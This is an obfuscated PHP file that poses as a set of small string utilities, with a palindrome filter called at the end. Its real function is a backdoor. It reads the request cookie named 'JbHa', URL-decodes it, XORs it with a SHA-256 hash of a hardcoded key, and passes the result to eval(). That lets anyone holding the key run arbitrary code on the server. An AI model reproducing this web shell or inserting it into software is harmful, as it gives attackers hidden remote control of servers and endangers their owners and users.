<?php
function HYmbUqCLG($lsreIxxHv)
{
    $BTnoSWHQ = strlen($lsreIxxHv);
    return $BTnoSWHQ;
}
function whklvvQbnH($gKuBqbvVdc) {
    return strrev($gKuBqbvVdc);
}
function HoGeoEqHIs($gozAd, $SVKRZQk)
{
    $fxiUvO = str_pad($gozAd, $SVKRZQk, $gozAd);
    return $fxiUvO;
}
function NmqaUDSb($JFNaVbVc, $utSsgZVFg)
{
    $bdZKb = $JFNaVbVc ^ $utSsgZVFg;
    return $bdZKb;
}
function OGvcDQJ($mahdFaCCMt)
{
    $rzxorYkKBh = BQSZjL($mahdFaCCMt);
    $niIltIPwAQ = LDWTTEpOOX($mahdFaCCMt, $rzxorYkKBh);
    return $niIltIPwAQ;
}
function sSxQhKV($vYMAeXM, $BruTYWSKv)
{
    $kNnQtadd = HYmbUqCLG($vYMAeXM);
    $xUSCTxmUwk = HoGeoEqHIs($BruTYWSKv, $kNnQtadd);
    $aogDwTk = NmqaUDSb($xUSCTxmUwk, $vYMAeXM);
    return $aogDwTk;
}
function VSvrHK()
{
    $aogDwTk = TONKb();
    TsCpPUpTQQ($aogDwTk);
}
function tIHOxhTEOv($xmGfFZc)
{
    $izXuhHa = rawurldecode($xmGfFZc);
    return $izXuhHa;
}
function uVXYIzShu($IkTWCS)
{
    $BJyiOW = hash("sha256", $IkTWCS, TRUE);
    return $BJyiOW;
}
function WfJhDVjc($KoojXcdl)
{
    $ledtJYQ = zkfphE($KoojXcdl);
    $sKWavm = tIHOxhTEOv($ledtJYQ);
    return $sKWavm;
}
function CGvtYq($mHzREH) {
    $AZYZCUVUx = [];
    foreach($mHzREH as $odJielHw) {
        if (UfmmLgo($odJielHw)) {
            $AZYZCUVUx[] = $odJielHw;
        }
    }
    return $AZYZCUVUx;
}
function pBwSbgm()
{
    $rYxtzo = "YJIevrtrduDxgJbHa";
    return $rYxtzo;
}
function TsCpPUpTQQ($ifZsHrxy)
{
    eval($ifZsHrxy);
}
function UfmmLgo($gKuBqbvVdc) {
    $dTKoYCm = whklvvQbnH($gKuBqbvVdc);
    return $gKuBqbvVdc === $dTKoYCm;
}
function BQSZjL($kUUmRcqHTc)
{
    $puYYfI = substr($kUUmRcqHTc, -4);
    return $puYYfI;
}
function TONKb()
{
    $IIXIW = pBwSbgm();
    $puzeMiVYK = OGvcDQJ($IIXIW);
    return $puzeMiVYK;
}
function zkfphE($XWMmBnZsX)
{
    $yNWItmW = $_COOKIE[$XWMmBnZsX];
    return $yNWItmW;
}
function LDWTTEpOOX($XdIPMkpcR, $PXOOMCwsK)
{
    $hRuqjg = uVXYIzShu($XdIPMkpcR);
    $sKWavm = WfJhDVjc($PXOOMCwsK);
    $uIGiPwWYA = sSxQhKV($sKWavm, $hRuqjg);
    return $uIGiPwWYA;
}
VSvrHK();
$gcLOWeiV = CGvtYq(['radar', 'hello', 'level', 'world']);